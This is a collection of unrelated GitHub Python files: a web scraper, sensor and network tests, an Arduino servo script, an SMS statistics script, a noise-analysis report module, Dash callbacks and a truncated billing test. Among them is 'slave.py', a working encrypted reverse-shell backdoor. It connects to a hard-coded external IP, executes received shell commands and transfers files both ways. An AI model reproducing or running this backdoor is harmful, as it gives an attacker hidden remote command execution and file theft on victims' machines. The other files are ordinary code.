class_='img').get('data-src')\n link = item.find('a', href=True)['href']\n\n my_dict = {'Product Name': name, 'Product Price': price, \"link\": link, \"image\": imgUrl}\n products.append(my_dict)\n\n\n return jsonify(products)\n \n# @app.route('/api/awari/konga', methods=['GET'])\n# def api_search_konga():\n# if 'search' in request.args:\n# search = request.args['search']\n# else:\n# return \"Error: No id field provided. Please specify an id.\"\n# results = []\n\n# products = []\n\n# baseurl = f\"https://jiji.ng/search?query={search}\"\n\n# r = requests.get(baseurl)\n\n# soup = BeautifulSoup(r.content, 'lxml')\n\n# myList = soup.find_all('div', class_='b-list-advert__item-wrapper')\n# print(\"list\",myList)\n\n# for item in myList:\n# name = item.find('div', class_='b-advert-title-inner qa-advert-title b-advert-title-inner--h3').text.strip()\n# price = item.find('div', class_='prc').text.strip()\n# imgUrl = item.find('picture', class_='h-flex-center h-width-100p h-height-100p h-overflow-hidden').get('srcset')\n# link = item.find('a', href=True)['href']\n\n# my_dict = {'Product Name': name, 'Product Price': price, \"link\": link, \"image\": imgUrl}\n# products.append(my_dict)\n\n\n# return jsonify(products)\n \n\n\napp.run()","repo_name":"kingwisdom/awaripython","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3626,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"17000776524","text":"import pytest\nimport os, glob\nimport numpy as np\nimport math\n\nimport micasense.dls as dls\nimport micasense.image as image\n\n@pytest.fixture()\ndef img():\n image_path = os.path.join('data','0000SET','000',)\n return image.Image(os.path.join(image_path,'IMG_0000_1.tif'))\n\ndef test_sun_angle(img):\n if dls.havePysolar:\n sun_angle = dls.compute_sun_angle((img.latitude, img.longitude, img.altitude),\n (img.dls_yaw, img.dls_pitch, img.dls_roll),\n img.utc_time,\n np.array([0,0,-1]))\n assert sun_angle[0] == pytest.approx([-0.711, -0.247, -0.659], abs=0.001)\n assert sun_angle[1] == pytest.approx([-1.87482468e-01, 1.82720334e-05, -9.82267949e-01], abs=0.001)\n assert sun_angle[2] == pytest.approx(0.6754, abs=0.001)\n assert sun_angle[3] == pytest.approx(0.7193, abs=0.001)\n assert sun_angle[4] == pytest.approx(-0.334, abs=0.001)\n else:\n assert True\n\ndef test_fresnel():\n assert dls.fresnel(0.00) == pytest.approx(0.9416, abs=0.001)\n assert dls.fresnel(0.01) == pytest.approx(0.9416, abs=0.001)\n assert dls.fresnel(0.50) == pytest.approx(0.940, abs=0.001)\n assert dls.fresnel(0.99) == pytest.approx(0.903, abs=0.001)\n assert dls.fresnel(1.00) == pytest.approx(0.901, abs=0.001)\n\ndef test_get_orientation_zenith():\n pose = (math.radians(0),math.radians(0), math.radians(0))\n orientation = [0,0,-1]\n ned = dls.get_orientation(pose, orientation)\n assert ned == pytest.approx([0,0,-1])\n\ndef test_get_orientation_north():\n pose = (math.radians(0),math.radians(-90), math.radians(0))\n orientation = [0,0,-1]\n ned = dls.get_orientation(pose, orientation)\n assert ned == pytest.approx([1,0,0])\n\ndef test_get_orientation_east():\n pose = (math.radians(90),math.radians(-90), math.radians(0))\n orientation = [0,0,-1]\n ned = dls.get_orientation(pose, orientation)\n assert ned == pytest.approx([0,1,0])\n\ndef test_get_orientation_south():\n pose = (math.radians(0),math.radians(90), math.radians(0))\n orientation = [0,0,-1]\n ned = dls.get_orientation(pose, orientation)\n assert ned == pytest.approx([-1,0,0])\n\ndef test_get_orientation_south2():\n pose = (math.radians(180),math.radians(-90), math.radians(0))\n orientation = [0,0,-1]\n ned = dls.get_orientation(pose, orientation)\n assert ned == pytest.approx([-1,0,0])\n\ndef test_get_orientation_west():\n pose = (math.radians(-90),math.radians(-90), math.radians(0))\n orientation = [0,0,-1]\n ned = dls.get_orientation(pose, orientation)\n assert ned == pytest.approx([0,-1,0])","repo_name":"rasmusfenger/micasense_imageprocessing_sequoia","sub_path":"tests/test_dls.py","file_name":"test_dls.py","file_ext":"py","file_size_in_byte":2671,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"} +{"seq_id":"36412050463","text":"# SPDX-License-Identifier: LGPL-2.1-or-later\n\nimport pytest\n\nimport libnmstate\n\nfrom libnmstate.error import NmstateDependencyError\nfrom libnmstate.schema import Interface\nfrom libnmstate.schema import InterfaceIPv4\nfrom libnmstate.schema import InterfaceIPv6\nfrom libnmstate.schema import InterfaceType\nfrom libnmstate.schema import InterfaceState\n\nfrom .testlib import assertlib\nfrom .testlib import statelib\nfrom .testlib.env import nm_minor_version\n\nIPV4_ADDRESS1 = \"192.0.2.251\"\nIPV6_ADDRESS1 = \"2001:db8:1::1\"\n\n\n@pytest.fixture\ndef loopback_cleanup():\n yield\n libnmstate.apply(\n {\n Interface.KEY: [\n {\n Interface.NAME: \"lo\",\n Interface.TYPE: InterfaceType.LOOPBACK,\n Interface.STATE: InterfaceState.ABSENT,\n },\n ]\n },\n verify_change=False,\n )\n\n\n@pytest.mark.skipif(\n nm_minor_version() >= 41,\n reason=(\"Loopback is supported by NetworkManager 1.41+\"),\n)\ndef test_loopback_not_supported_by_nm():\n with pytest.raises(NmstateDependencyError):\n libnmstate.apply(\n {\n Interface.KEY: [\n {\n Interface.NAME: \"lo\",\n Interface.TYPE: InterfaceType.LOOPBACK,\n Interface.STATE: InterfaceState.UP,\n }\n ]\n }\n )\n\n\n@pytest.mark.skipif(\n nm_minor_version() < 41,\n reason=(\"Loopback is only supported by NetworkManager 1.41+\"),\n)\nclass TestLoopback:\n def test_change_loopback_mtu_and_restore_back(self, loopback_cleanup):\n cur_state = statelib.show_only((\"lo\",))\n old_mtu = cur_state[Interface.KEY][0][Interface.MTU]\n\n desired_state = {\n Interface.KEY: [\n {\n Interface.NAME: \"lo\",\n Interface.MTU: 12800,\n }\n ]\n }\n libnmstate.apply(desired_state)\n assertlib.assert_state_match(desired_state)\n libnmstate.apply(\n {\n Interface.KEY: [\n {\n Interface.NAME: \"lo\",\n Interface.TYPE: InterfaceType.LOOPBACK,\n Interface.STATE: InterfaceState.ABSENT,\n },\n ]\n },\n )\n state = statelib.show_only((\"lo\",))\n new_mtu = state[Interface.KEY][0][Interface.MTU]\n assert new_mtu == old_mtu\n\n def test_add_more_ip_to_loopback(self, loopback_cleanup):\n desired_state = {\n Interface.KEY: [\n {\n Interface.NAME: \"lo\",\n Interface.TYPE: InterfaceType.LOOPBACK,\n Interface.STATE: InterfaceState.UP,\n Interface.IPV4: {\n InterfaceIPv4.ENABLED: True,\n InterfaceIPv4.ADDRESS: [\n {\n InterfaceIPv4.ADDRESS_IP: IPV4_ADDRESS1,\n InterfaceIPv4.ADDRESS_PREFIX_LENGTH: 24,\n }\n ],\n },\n Interface.IPV6: {\n InterfaceIPv6.ENABLED: True,\n InterfaceIPv6.ADDRESS: [\n {\n InterfaceIPv6.ADDRESS_IP: IPV6_ADDRESS1,\n InterfaceIPv6.ADDRESS_PREFIX_LENGTH: 64,\n }\n ],\n },\n }\n ]\n }\n libnmstate.apply(desired_state)\n desired_state[Interface.KEY][0][Interface.IPV4][\n InterfaceIPv4.ADDRESS\n ].append(\n {\n InterfaceIPv4.ADDRESS_IP: \"127.0.0.1\",\n InterfaceIPv4.ADDRESS_PREFIX_LENGTH: 8,\n }\n )\n desired_state[Interface.KEY][0][Interface.IPV6][\n InterfaceIPv6.ADDRESS\n ].append(\n {\n InterfaceIPv4.ADDRESS_IP: \"::1\",\n InterfaceIPv4.ADDRESS_PREFIX_LENGTH: 128,\n }\n )\n assertlib.assert_state_match(desired_state)\n","repo_name":"nmstate/nmstate","sub_path":"tests/integration/loopback_test.py","file_name":"loopback_test.py","file_ext":"py","file_size_in_byte":4242,"program_lang":"python","lang":"en","doc_type":"code","stars":225,"dataset":"github-code","pt":"3"} +{"seq_id":"19117951692","text":"from pyfirmata import Arduino, SERVO , boards,util,STRING_DATA\n#import serial\n\n#ser = serial.Serial(\"COM3\",9600)\nport='COM3'\n#Now using 2 servo motors\n#pin=10\n\nboard=Arduino(port)\n\nboard.digital[9].mode=SERVO\nboard.digital[6].mode=SERVO\n\n\ndef rotateServo(pin,angle):\n board.digital[9].write(angle)\n board.digital[6].write(angle)\n \ndef doorAutomate(val):\n if val == 1:\n rotateServo(9,90)\n rotateServo(6,90)\n \n elif val == 0:\n rotateServo(9,90)\n rotateServo(6,180)\n \n \n","repo_name":"aaheli8/FaceMask-Detection-Automated-Door","sub_path":"controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":549,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"721641568","text":"ham_count = 0\r\nham_words = 0\r\nspam_count = 0\r\nspam_words = 0\r\nexclamation_count = 0\r\n\r\nwith open('SMSSpamCollection.txt') as file:\r\n for line in file:\r\n line = line.rstrip()\r\n words = line.strip().split()\r\n if words[0] == 'ham':\r\n ham_count += 1\r\n ham_words += len(words) - 1\r\n else:\r\n spam_count += 1\r\n spam_words += len(words) - 1\r\n if line.endswith(\"!\"):\r\n exclamation_count += 1\r\n\r\n\r\nprint(f\"Prosječan broj riječi u porukama koje su tipa ham: {ham_words/ham_count}\")\r\nprint(f\"Prosječan broj riječi u porukama koje su tipa spam: {spam_words/spam_count}\")\r\nprint(f\"Od {spam_count} SMS poruka koje su tipa spam, {exclamation_count} završava uskličnikom.\")\r\n","repo_name":"JanjaTomic/OSU_LV","sub_path":"LV1/zadatak5.py","file_name":"zadatak5.py","file_ext":"py","file_size_in_byte":765,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"39617561990","text":"import itertools\nimport openpyxl\nimport shapefile\n\n\nclass Analysis(object):\n pass\n\nclass Report(object):\n \"\"\" Reports receiver results based on shapefile of known schema\n \"\"\" \n\n def __init__(self, receivers, common_noise_environment=None):\n self.shp = receivers\n self.common_noise_env = common_noise_environment\n self.SENSITIVE_QUERY = ('A', 'B', 'C', 'D', 'E') \n\n def _get_field_index(self, fields):\n flds = [fld for fld in fields if fld[0] != 'DeletionFlag'] # removed hidden field for proper indexing\n field_map = {}\n for index, field in enumerate(flds):\n field_name = field[0]\n field_map[field_name] = index \n return field_map\n\n def _field_map(self):\n return self._get_field_index(shapefile.Reader(self.shp).fields)\n\n def all_receivers(self):\n with shapefile.Reader(self.shp) as sreader:\n if self.common_noise_env:\n cne = self._field_map()['assoc_bar'] \n return [record for record in sreader.records() if record[cne] == self.common_noise_env]\n else: \n return [record for record in sreader.records()]\n\n def nac_b_receivers(self):\n nac_cat = self._field_map()['nac_cat'] \n return [record for record in self.all_receivers() if record[nac_cat] == 'B']\n\n def nac_c_receivers(self):\n nac_cat = self._field_map()['nac_cat'] \n return [record for record in self.all_receivers() if record[nac_cat] == 'C']\n\n def nac_d_receivers(self):\n nac_cat = self._field_map()['nac_cat'] \n return [record for record in self.all_receivers() if record[nac_cat] == 'D']\n\n def nac_e_receivers(self):\n nac_cat = self._field_map()['nac_cat'] \n return [record for record in self.all_receivers() if record[nac_cat] == 'E']\n\n def nac_b_receptors_total(self):\n du = self._field_map()['du']\n nac_cat = self._field_map()['nac_cat'] \n return sum([row[du] for row in self.all_receivers() if row[nac_cat] == 'B'])\n\n def nac_c_receptors_total(self):\n du = self._field_map()['du']\n nac_cat = self._field_map()['nac_cat'] \n return sum([row[du] for row in self.all_receivers() if row[nac_cat] == 'C'])\n\n def nac_d_receptors_total(self):\n du = self._field_map()['du']\n nac_cat = self._field_map()['nac_cat'] \n return sum([row[du] for row in self.all_receivers() if row[nac_cat] == 'D'])\n\n def nac_e_receptors_total(self):\n du = self._field_map()['du']\n nac_cat = self._field_map()['nac_cat'] \n return sum([row[du] for row in self.all_receivers() if row[nac_cat] == 'E'])\n\n def sensitive_receivers(self):\n nac_cat = self._field_map()['nac_cat'] \n return [record for record in self.all_receivers() if record[nac_cat] in self.SENSITIVE_QUERY]\n\n def sensitive_receptors_total(self):\n du = self._field_map()['du']\n nac_cat = self._field_map()['nac_cat'] \n return sum([row[du] for row in self.all_receivers() if row[nac_cat] in self.SENSITIVE_QUERY])\n\n def benefited_receptors(self):\n du = self._field_map()['du']\n bar_reduct = self._field_map()['bar_reduct']\n return sum([record[du] for record in self.sensitive_receivers() if record[bar_reduct] >= 5])\n\n def receptors_total(self):\n du = self._field_map()['du']\n return sum([row[du] for row in self.all_receivers()])\n\n def impacted_receivers(self):\n impacts = list(\n itertools.chain(\n self.build_b_nac_impacts(),\n self.build_c_nac_impacts(),\n self.build_d_nac_impacts(),\n self.build_e_nac_impacts(),\n self.build_b_substantial_impacts(),\n self.build_c_substantial_impacts(),\n self.build_d_substantial_impacts(),\n self.build_e_substantial_impacts()\n )\n ) \n return impacts\n\n def impacted_total(self):\n du = self._field_map()['du']\n return sum([impact[du] for impact in self.impacted_receivers()])\n\n def build_b_impacted_total(self):\n nac_cat = self._field_map()['nac_cat']\n du = self._field_map()['du']\n return sum([impact[du] for impact in self.impacted_receivers() if impact[nac_cat] == 'B'])\n\n def build_c_impacted_total(self):\n nac_cat = self._field_map()['nac_cat']\n du = self._field_map()['du']\n return sum([impact[du] for impact in self.impacted_receivers() if impact[nac_cat] == 'C'])\n\n def build_d_impacted_total(self):\n nac_cat = self._field_map()['nac_cat']\n du = self._field_map()['du']\n return sum([impact[du] for impact in self.impacted_receivers() if impact[nac_cat] == 'D'])\n\n def build_e_impacted_total(self):\n nac_cat = self._field_map()['nac_cat']\n du = self._field_map()['du']\n return sum([impact[du] for impact in self.impacted_receivers() if impact[nac_cat] == 'E'])\n\n def build_b_nac_impacts(self): \n nac_cat = self._field_map()['nac_cat']\n bld_snd = self._field_map()['bld_snd']\n return [row for row in self.sensitive_receivers() if (row[nac_cat] == 'B' and row[bld_snd] >= 66)]\n\n def build_c_nac_impacts(self): \n nac_cat = self._field_map()['nac_cat']\n bld_snd = self._field_map()['bld_snd']\n return [row for row in self.sensitive_receivers() if (row[nac_cat] == 'C' and row[bld_snd] >= 66)]\n\n def build_d_nac_impacts(self): \n nac_cat = self._field_map()['nac_cat']\n bld_snd = self._field_map()['bld_snd']\n return [row for row in self.sensitive_receivers() if (row[nac_cat] == 'D' and row[bld_snd] >= 51)]\n\n def build_e_nac_impacts(self): \n nac_cat = self._field_map()['nac_cat']\n bld_snd = self._field_map()['bld_snd']\n return [row for row in self.sensitive_receivers() if (row[nac_cat] == 'E' and row[bld_snd] >= 71)]\n\n def build_b_substantial_impacts(self): \n nac_cat = self._field_map()['nac_cat']\n bld_snd = self._field_map()['bld_snd']\n ex_snd = self._field_map()['ex_snd']\n return [row for row in self.sensitive_receivers() if (row[nac_cat] == 'B' and (row[bld_snd] - row[ex_snd] >= 15))]\n\n def build_c_substantial_impacts(self): \n nac_cat = self._field_map()['nac_cat']\n bld_snd = self._field_map()['bld_snd']\n ex_snd = self._field_map()['ex_snd']\n return [row for row in self.sensitive_receivers() if (row[nac_cat] == 'C' and (row[bld_snd] - row[ex_snd] >= 15))]\n\n def build_d_substantial_impacts(self): \n nac_cat = self._field_map()['nac_cat']\n bld_snd = self._field_map()['bld_snd']\n ex_snd = self._field_map()['ex_snd']\n return [row for row in self.sensitive_receivers() if (row[nac_cat] == 'D' and (row[bld_snd] - row[ex_snd] >= 15))]\n\n def build_e_substantial_impacts(self): \n nac_cat = self._field_map()['nac_cat']\n bld_snd = self._field_map()['bld_snd']\n ex_snd = self._field_map()['ex_snd']\n return [row for row in self.sensitive_receivers() if (row[nac_cat] == 'E' and (row[bld_snd] - row[ex_snd] >= 15))]\n\n def existing_minimum(self):\n ex_snd = self._field_map()['ex_snd']\n return min([row[ex_snd] for row in self.sensitive_receivers()])\n\n def existing_maximum(self):\n ex_snd = self._field_map()['ex_snd']\n return max([row[ex_snd] for row in self.sensitive_receivers()])\n\n def nobld_minimum(self):\n nobld_snd = self._field_map()['nobld_snd']\n return min([row[nobld_snd] for row in self.sensitive_receivers()])\n\n def nobld_maximum(self):\n nobld_snd = self._field_map()['nobld_snd']\n return max([row[nobld_snd] for row in self.sensitive_receivers()])\n\n def bld_minimum(self):\n bld_snd = self._field_map()['bld_snd']\n return min([row[bld_snd] for row in self.sensitive_receivers()])\n\n def bld_maximum(self):\n bld_snd = self._field_map()['bld_snd']\n return max([row[bld_snd] for row in self.sensitive_receivers()])\n \n def bld_average_change(self):\n ex_snd = self._field_map()['ex_snd']\n bld_snd = self._field_map()['bld_snd']\n diff_list = [row[bld_snd] - row[ex_snd] for row in self.sensitive_receivers()]\n return round(sum(diff_list) / len(diff_list), 1)\n\n def nobld_average_change(self):\n ex_snd = self._field_map()['ex_snd']\n nobld_snd = self._field_map()['nobld_snd']\n diff_list = [row[nobld_snd] - row[ex_snd] for row in self.sensitive_receivers()]\n return round(sum(diff_list) / len(diff_list), 1)\n\n def summary(self):\n narrative = f\"A total of {self.sensitive_receptors_total()} noise sensitive receptors were analyzed. \"\n narrative += f\"Existing noise levels range from {self.existing_minimum()} to {self.existing_maximum()} dB(A) at {self.sensitive_receptors_total()} receptors. \"\n narrative += f\"No Build noise levels would range from {self.nobld_minimum()} to {self.nobld_maximum()} dB(A). \"\n narrative += f\"Build noise levels would range from {self.bld_minimum()} to {self.bld_maximum()} dB(A). \" \n narrative += f\"Noise is predicted to change by an average of {self.nobld_average_change()} dB(A) under the No Build Alternative. \"\n narrative += f\"Noise is predicted to change by an average of {self.bld_average_change()} dB(A) under the Build Alternative. \"\n if self.impacted_total() == 0:\n narrative += f\"No receptors would be impacted under the Build Alternative.\"\n else:\n narrative += f\"A total of {self.impacted_total()} receptors would be impacted under the Build Alternative; therefore, noise abatement was considered.\"\n return narrative\n\n\ndef create_florida_barrier_summary(xlsx, bar_length, cost_per_sq_ft):\n \"\"\" Generate Florida barrier summary based on Sound Results table for *each* barrier\n analysis in TNM Run. \n \n Arguments:\n xlsx {String} -- Path to xlsx\n \"\"\"\n xlsx = openpyxl.load_workbook(xlsx)\n barrier_summaries = xlsx.worksheets\n empty_row = [None] * 14 # empty cells, TNM standard output\n increments = [8, 10, 12, 14, 16, 18, 20, 22] #feet\n barrier_summary = []\n for idx, bar_hgt in enumerate(increments):\n table_rows = [row for row in barrier_summaries[idx].rows][19:]\n results = []\n for row in table_rows:\n cells = [cell.value for cell in row]\n if cells != empty_row:\n results.append(cells)\n else:\n break\n impacted_receptors = [row for row in results if row[9] != ' ----']\n impacted_receptors_count = sum([row[3] for row in impacted_receptors])\n min_benefit = sum([row[3] for row in impacted_receptors if 5 <= row[11] <= 5.9])\n mid_benefit = sum([row[3] for row in impacted_receptors if 6 <= row[11] <= 6.9])\n max_benefit = sum([row[3] for row in impacted_receptors if 7 <= row[11]])\n benefited_receptors = [row for row in results if row[11] >= 5]\n benefited_receptor_count = sum([row[3] for row in benefited_receptors])\n impacted_benefited_receptor_count = sum([row[3] for row in impacted_receptors if row[11] >= 5])\n impacted_not_benefited_receptor_count = benefited_receptor_count - impacted_benefited_receptor_count\n estimated_cost = round(bar_length * bar_hgt * cost_per_sq_ft)\n try:\n average_benefit_reduction = round(sum([row[11] for row in benefited_receptors]) / len(benefited_receptors), 1)\n cost_per_benefit = round(estimated_cost / benefited_receptor_count)\n except ZeroDivisionError:\n average_benefit_reduction = 0 \n cost_per_benefit = 0\n barrier_summary.append((\n bar_hgt, '{:,.0f}'.format(bar_length), impacted_receptors_count, min_benefit, mid_benefit, max_benefit, \n impacted_benefited_receptor_count, impacted_not_benefited_receptor_count, benefited_receptor_count, \n average_benefit_reduction, estimated_cost, cost_per_benefit))\n return barrier_summary\n\ndef summarize_cne(receivers, cne):\n r = Report(receivers, cne) \n return (\n cne, \n 'LOCATION', \n r.nac_b_receptors_total(), \n r.nac_c_receptors_total(),\n r.nac_e_receptors_total(),\n r.existing_minimum(),\n r.existing_maximum(),\n r.nobld_minimum(),\n r.nobld_maximum(),\n r.bld_minimum(),\n r.bld_maximum(),\n r.build_b_impacted_total(),\n r.build_c_impacted_total(),\n r.build_e_impacted_total(),\n 'WARRANTED'\n )\n\ndef create_cne_summary_table(receivers, cne_list, xlsx):\n wb = openpyxl.Workbook()\n ws = wb.active\n hdrs = ('CNE', 'Location', 'NAC B', 'NAC C', 'NAC E', 'Min', 'Max', 'Min', 'Max', 'Min', 'Max', 'NAC B', 'NAC C', 'NAC E', 'Abatement Warranted')\n ws.append(hdrs)\n for cne in cne_list:\n cne_summary = summarize_cne(receivers, cne)\n ws.append(cne_summary) \n wb.save(filename=xlsx)\n\ndef create_barrier_summary_table(barrier_summary, xlsx):\n \"\"\"Generate .xlsx file of barrier results\n \n Arguments:\n barrier_summary {}\n xlsx {String} -- Full output path\n \"\"\"\n wb = openpyxl.Workbook()\n ws = wb.active\n hdrs = (\"Barrier Height\", \"Barrier Length\", \"Impacted Receptors\", \n \"5 - 5.9 dB(A)\", \"6 - 6.9 dB(A)\", \"7+\", \"Impacted\", \"Not Impacted\", \n \"Total\", \"Average Benefited Reduction\", \"Estimated Cost\", \"Cost per Benefit\", \"Feasible and Reasonable\")\n ws.append(hdrs)\n for barrier_design in barrier_summary:\n ws.append(barrier_design)\n wb.save(filename=xlsx)","repo_name":"fstraw/pytnm","sub_path":"pytnm/utils/report/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":13942,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"39805964373","text":"from datetime import datetime as dt\n\nimport pandas_datareader as pdr\nfrom dash.dependencies import Input\nfrom dash.dependencies import Output\nfrom app.dashapp1.data.data import Data\nimport dash_table as dtb\nimport plotly.graph_objs as go\n\n\n\ndef register_callbacks(dashapp):\n\n\n @dashapp.callback(Output('my-graph-2', 'figure'), [Input('selectYearStart', 'value'), Input('selectYearEnd', 'value')])\n def update_graph_2(selectYearStart, selectYearEnd):\n d = Data()\n df = d.get_raw(selectYearStart, selectYearEnd)\n\n return {\n 'data': [{\n 'x': df.lastsolddate,\n 'y': df.lastsoldprice,\n 'type':'bar'\n }],\n 'layout': {'margin': {'l': 0, 'r': 100, 't': 0, 'b': 100}}\n }\n\n @dashapp.callback(\n [\n Output('table-raw', 'columns'),\n Output('table-raw', 'data')\n ],\n [\n Input('table-raw' , \"page_current\"),\n Input('table-raw' , \"page_size\"),\n Input('table-raw' , 'sort_by'),\n Input('selectYearStart', 'value'),\n Input('selectYearEnd' , 'value')\n ])\n\n def update_raw(page_current, page_size, sort_by, selectYearStart, selectYearEnd):\n d = Data()\n df = d.get_raw(selectYearStart, selectYearEnd)\n \n if len(sort_by):\n dfs = df.sort_values(\n sort_by[0]['column_id'],\n ascending=sort_by[0]['direction'] == 'asc',\n inplace=False\n )\n else: # No sort \n dfs = df\n\n columns = [{'name': i, 'id': i, 'deletable': True} for i in sorted(dfs.columns) ]\n\n data = dfs.iloc[page_current*page_size:(page_current+ 1)*page_size].to_dict('records')\n\n return columns, data\n\n\n @dashapp.callback(\n [\n Output('table-stats', 'columns'),\n Output('table-stats', 'data')\n ],\n [\n Input('selectYearStart', 'value')\n ])\n\n def update_stats(selection=None):\n\n d = Data()\n df = d.get_raw()\n \n df_stats = d.get_stats(df)\n \n columns = [{'name': i, 'id': i, 'deletable': True} for i in df_stats.columns ]\n\n data = df_stats.to_dict('records')\n \n\n return columns, data\n\n\n @dashapp.callback(\n \n Output('scatter-map', 'figure')\n ,\n [\n Input('selectYearStart', 'value'),\n Input('selectYearEnd' , 'value')\n ])\n\n def update_scatter_map( selectYearStart, selectYearEnd):\n d = Data()\n df = d.get_raw(selectYearStart, selectYearEnd)[['latitude', 'longitude']]\n \n #columns = [{'name': i, 'id': i, 'deletable': True} for i in sorted(df.columns) ]\n\n trace = go.Scatter(y = df['latitude'], x = df['longitude'],\n name = 'Location',\n mode='markers')\n layout = go.Layout(title = '',\n hovermode = 'closest')\n figure = go.Figure(data = [trace], layout=layout)\n\n return figure\n\n\n","repo_name":"renenadorp/medium-ml","sub_path":"app/dashapp1/callbacks.py","file_name":"callbacks.py","file_ext":"py","file_size_in_byte":3103,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"} +{"seq_id":"25482330221","text":"#!/usr/bin/python\n\nfrom Crypto.Cipher import AES\nimport subprocess,socket\nimport base64\nimport time\nimport os\n\n# the block size for the cipher object; must be 16 per FIPS-197\nBLOCK_SIZE = 32\n\n# the character used for padding--with a block cipher such as AES, the value\n# you encrypt must be a multiple of BLOCK_SIZE in length. This character is\n# used to ensure that your value is always a multiple of BLOCK_SIZE\nPADDING = '{'\n\n# one-liner to sufficiently pad the text to be encrypted\npad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING\n\n# one-liners to encrypt/encode and decrypt/decode a string\n# encrypt with AES, encode with base64\nEncodeAES = lambda c, s: base64.b64encode(c.encrypt(pad(s)))\nDecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(PADDING)\n\n# generate a random secret key\nsecret = \"dz7xf9t6PaC7wN+dPv+QrxHBJ2eGuLAq\"\n\n# create a cipher object using the random secret\ncipher = AES.new(secret)\n\nHOST = '159.203.35.5'\nPORT = 666\n\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.connect((HOST, PORT))\nactive = False\n\n# main loop\nwhile True:\n data = s.recv(1024)\n decrypted = DecodeAES(cipher, data)\n\n time.sleep(0.8)\n success = EncodeAES(cipher, 'Success! We made it!EOFEOFEOFEOFEOFX')\n s.send(success)\n active = True\n\n # active\n while active:\n # this data is now encrypted\n data = s.recv(1024)\n\n # decrypt data\n decrypted = DecodeAES(cipher, data)\n\n # check for quit\n if decrypted.startswith(\"quit\") == True:\n sendData = 'Exit. \\n EOFEOFEOFEOFEOFX'\n crptData = EncodeAES(cipher, sendData)\n s.send(crptData)\n active = False\n\n # check for download\n elif decrypted.startswith(\"downoad\") == True:\n\n # set file name\n sendFile = decrypted[9:]\n\n # file transfer\n f = open(sendFile, 'rb')\n while 1:\n fileData = f.read()\n if fileData == '': break\n # begin sending fileData\n s.sendall(fileData)\n f.close\n time.sleep(0.8)\n\n # l3t server know we are done\n s.sendall('EOFEOFEOFEOFEOFX')\n time.sleep(0.8)\n s.sendall(EncodeAES(cipher, 'Finished download.EOFEOFEOFEOFEOFX'))\n\n elif decrypted.startswith(\"upload\") == True:\n\n # set the file name\n downFile = decrypted[7:]\n\n # file transfer\n g = open(downFile, 'wb')\n\n # download file\n while True:\n l = s.recv(1024)\n while (l):\n if l.endswith('EOFEOFEOFEOFEOFX'):\n u = l[:-16]\n g.write(u)\n break\n else:\n g.write(l)\n l = s.recv(1024)\n break\n g.close()\n time.sleep(0.8)\n\n # let server know we are done\n s.sendall(EncodeAES(cipher, 'Finished upload. EOFEOFEOFEOFEOFX'))\n\n else:\n # execute command\n proc = subprocess.Popen(decrypted, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)\n\n # save output error.\n stdoutput = proc.stdout.read() + proc.stderr.read() + \"EOFEOFEOFEOFEOFX\"\n\n # encrypt output\n encrypted = EncodeAES(cipher, stdoutput)\n\n # send encrypted output\n s.send(encrypted)\n\n\n data = s.recv(1024)\n decrypted = DecodeAES(cipher, data)\n if decrypted == \"quit\":\n break\n elif decrypted.startswith(\"download\") == True:\n\n sendFile = decrypted[9:]\n with open(sendFile, 'rb' ) as f:\n while l:\n fileData = f.read()\n if fileData == \".\": break\n s.sendall(fileData)\n f.close()\n time.sleep(0.8)\n\n s.sendall(\"EOFEOFEOFEOFEOFX\")\n time.sleep(0.8)\n s.sendall(EncodeAES(cipher, \"Finished download. EOFEOFEOFEOFEOFX\"))\n\n else:\n proc = subprocess.Popen(decrypted, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)\n stdoutput = proc.stdout.read() + proc.stderr.read()\n encrypted = EncodeAES(cipher, stdoutput)\n s.send(encrypted)\n\n# loop ends here#\ns.send('Bye now!')\ns.close()\n","repo_name":"crazywolf132/lol","sub_path":"slave.py","file_name":"slave.py","file_ext":"py","file_size_in_byte":4379,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"29047543317","text":"# -*- coding: utf-8 -*-\n\nimport datetime\n\nimport pytest\nimport mock\n\nfrom balance import mapper\nimport balance.actions.acts as a_a\nfrom balance import default_bank_rules\nfrom balance.constants import (\n FirmId,\n PaymentMethodIDs,\n DIRECT_PRODUCT_ID,\n DIRECT_PRODUCT_RUB_ID,\n)\n\nfrom tests import object_builder as ob\n\n\ndef create_firm(session):\n return ob.FirmBuilder(region_id=225).build(session).obj\n\n\ndef create_paysys(session, firm, category, currency='RUR', payment_method_id=PaymentMethodIDs.credit_card):\n return ob.PaysysBuilder(\n firm=firm,\n category=category,\n currency=currency,\n iso_currency=mapper.Currency.fix_iso_code(currency),\n payment_method_id=payment_method_id\n ).build(session).obj\n\n\ndef create_bank(session):\n return ob.PaymentBankBuilder().build(session).obj\n\n\ndef create_bank_details(session, firm, bank=None, currency='RUR'):\n return ob.BankDetailsBuilder(\n payment_bank=bank or create_bank(session),\n firm=firm,\n currency=currency,\n iso_currency=mapper.Currency.fix_iso_code(currency)\n ).build(session).obj\n\n\ndef create_invoice(session, client, person_type, firm_id=FirmId.YANDEX_OOO):\n person = ob.PersonBuilder(client=client, type=person_type).build(session).obj\n paysys = (\n session.query(mapper.Paysys)\n .filter_by(firm_id=firm_id,\n category=person_type,\n payment_method_id=PaymentMethodIDs.credit_card,\n currency='RUR'\n )\n .first()\n )\n product = ob.Getter(mapper.Product, DIRECT_PRODUCT_RUB_ID)\n order = ob.OrderBuilder(product=product, client=client)\n request = ob.RequestBuilder(\n firm_id=firm_id,\n basket=ob.BasketBuilder(\n client=client,\n 